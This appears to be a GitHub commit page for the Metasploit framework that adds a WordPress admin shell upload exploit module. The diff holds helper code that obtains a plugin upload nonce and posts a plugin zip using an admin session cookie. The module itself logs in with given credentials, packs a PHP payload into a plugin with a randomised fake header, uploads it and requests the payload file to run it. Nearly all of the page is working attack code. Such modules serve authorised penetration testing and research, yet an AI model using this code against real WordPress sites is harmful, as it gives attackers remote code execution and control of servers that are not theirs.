Skip to content

Commit 9223c23

Browse files
committed
Land rapid7#4808, Wordpress plugin upload module
2 parents ef62e1f + 708340e commit 9223c23

File tree

5 files changed

+159
-0
lines changed

5 files changed

+159
-0
lines changed

lib/msf/http/wordpress.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
module Msf
55
module HTTP
66
module Wordpress
7+
require 'msf/http/wordpress/admin'
78
require 'msf/http/wordpress/base'
89
require 'msf/http/wordpress/helpers'
910
require 'msf/http/wordpress/login'
@@ -14,6 +15,7 @@ module Wordpress
1415
require 'msf/http/wordpress/xml_rpc'
1516

1617
include Msf::Exploit::Remote::HttpClient
18+
include Msf::HTTP::Wordpress::Admin
1719
include Msf::HTTP::Wordpress::Base
1820
include Msf::HTTP::Wordpress::Helpers
1921
include Msf::HTTP::Wordpress::Login

lib/msf/http/wordpress/admin.rb

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf::HTTP::Wordpress::Admin
4+
# Uploads a plugin using a valid admin session.
5+
#
6+
# @param name [String] The name of the plugin
7+
# @param zip [String] The plugin zip file as a string
8+
# @param cookie [String] A valid admin session cookie
9+
# @return [Boolean] true on success, false on error
10+
def wordpress_upload_plugin(name, zip, cookie)
11+
nonce = wordpress_helper_get_plugin_upload_nonce(cookie)
12+
if nonce.nil?
13+
vprint_error("#{peer} - Failed to acquire the plugin upload nonce")
14+
return false
15+
end
16+
vprint_status("#{peer} - Acquired a plugin upload nonce: #{nonce}")
17+
18+
referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')
19+
data = Rex::MIME::Message.new
20+
data.add_part(nonce, nil, nil, 'form-data; name="_wpnonce"')
21+
data.add_part(referer_uri, nil, nil, 'form-data; name="_wp_http_referer"')
22+
data.add_part(zip, 'application/octet-stream', 'binary', "form-data; name=\"pluginzip\"; filename=\"#{name}.zip\"")
23+
data.add_part('Install Now', nil, nil, 'form-data; name="install-plugin-submit"')
24+
25+
res = send_request_cgi(
26+
'method' => 'POST',
27+
'uri' => wordpress_url_admin_update,
28+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
29+
'data' => data.to_s,
30+
'cookie' => cookie,
31+
'vars_get' => { 'action' => 'upload-plugin' }
32+
)
33+
34+
if res && res.code == 200
35+
vprint_status("#{peer} - Uploaded plugin #{name}")
36+
return true
37+
else
38+
vprint_error("#{peer} - Server responded with code #{res.code}") if res
39+
vprint_error("#{peer} - Failed to upload plugin #{name}")
40+
return false
41+
end
42+
end
43+
end

lib/msf/http/wordpress/helpers.rb

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -119,4 +119,21 @@ def wordpress_helper_parse_location_header(res)
119119
path_from_uri(location)
120120
end
121121

122+
# Helper method to retrieve a valid plugin upload nonce.
123+
#
124+
# @param cookie [String] A valid admin session cookie
125+
# @return [String,nil] The nonce, nil on error
126+
def wordpress_helper_get_plugin_upload_nonce(cookie)
127+
uri = normalize_uri(wordpress_url_backend, 'plugin-install.php')
128+
options = {
129+
'method' => 'GET',
130+
'uri' => uri,
131+
'cookie' => cookie,
132+
'vars_get' => { 'tab' => 'upload' }
133+
}
134+
res = send_request_cgi(options)
135+
if res && res.code == 200
136+
return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
137+
end
138+
end
122139
end

lib/msf/http/wordpress/uris.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,6 +87,12 @@ def wordpress_url_admin_post
8787
normalize_uri(wordpress_url_backend, 'admin-post.php')
8888
end
8989

90+
# Returns the Wordpress Admin Update URL
91+
#
92+
# @return [String] Wordpress Admin Update URL
93+
def wordpress_url_admin_update
94+
normalize_uri(wordpress_url_backend, 'update.php')
95+
end
9096

9197
# Returns the Wordpress wp-content dir URL
9298
#
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/zip'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::FileDropper
13+
include Msf::HTTP::Wordpress
14+
15+
def initialize(info = {})
16+
super(update_info(
17+
info,
18+
'Name' => 'WordPress Admin Shell Upload',
19+
'Description' => %q{
20+
This module will generate a plugin, pack the payload into it
21+
and upload it to a server running WordPress providing valid
22+
admin credentials are used.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Rob Carr <rob[at]rastating.com>' # Metasploit module
28+
],
29+
'DisclosureDate' => 'Feb 21 2015',
30+
'Platform' => 'php',
31+
'Arch' => ARCH_PHP,
32+
'Targets' => [['WordPress', {}]],
33+
'DefaultTarget' => 0
34+
))
35+
36+
register_options(
37+
[
38+
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
39+
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
40+
], self.class)
41+
end
42+
43+
def username
44+
datastore['USERNAME']
45+
end
46+
47+
def password
48+
datastore['PASSWORD']
49+
end
50+
51+
def generate_plugin(plugin_name, payload_name)
52+
plugin_script = %Q{<?php
53+
/**
54+
* Plugin Name: #{plugin_name}
55+
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
56+
* Author: #{Rex::Text.rand_text_alpha(10)}
57+
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
58+
* License: GPL2
59+
*/
60+
?>}
61+
62+
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
63+
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
64+
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
65+
zip
66+
end
67+
68+
def exploit
69+
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
70+
71+
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
72+
cookie = wordpress_login(username, password)
73+
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
74+
print_good("#{peer} - Authenticated with WordPress")
75+
76+
print_status("#{peer} - Preparing payload...")
77+
plugin_name = Rex::Text.rand_text_alpha(10)
78+
payload_name = "#{Rex::Text.rand_text_alpha(10)}"
79+
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
80+
zip = generate_plugin(plugin_name, payload_name)
81+
82+
print_status("#{peer} - Uploading payload...")
83+
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
84+
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded
85+
86+
print_status("#{peer} - Executing the payload at #{payload_uri}...")
87+
register_files_for_cleanup("#{payload_name}.php")
88+
register_files_for_cleanup("#{plugin_name}.php")
89+
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
90+
end
91+
end

0 commit comments

Comments
 (0)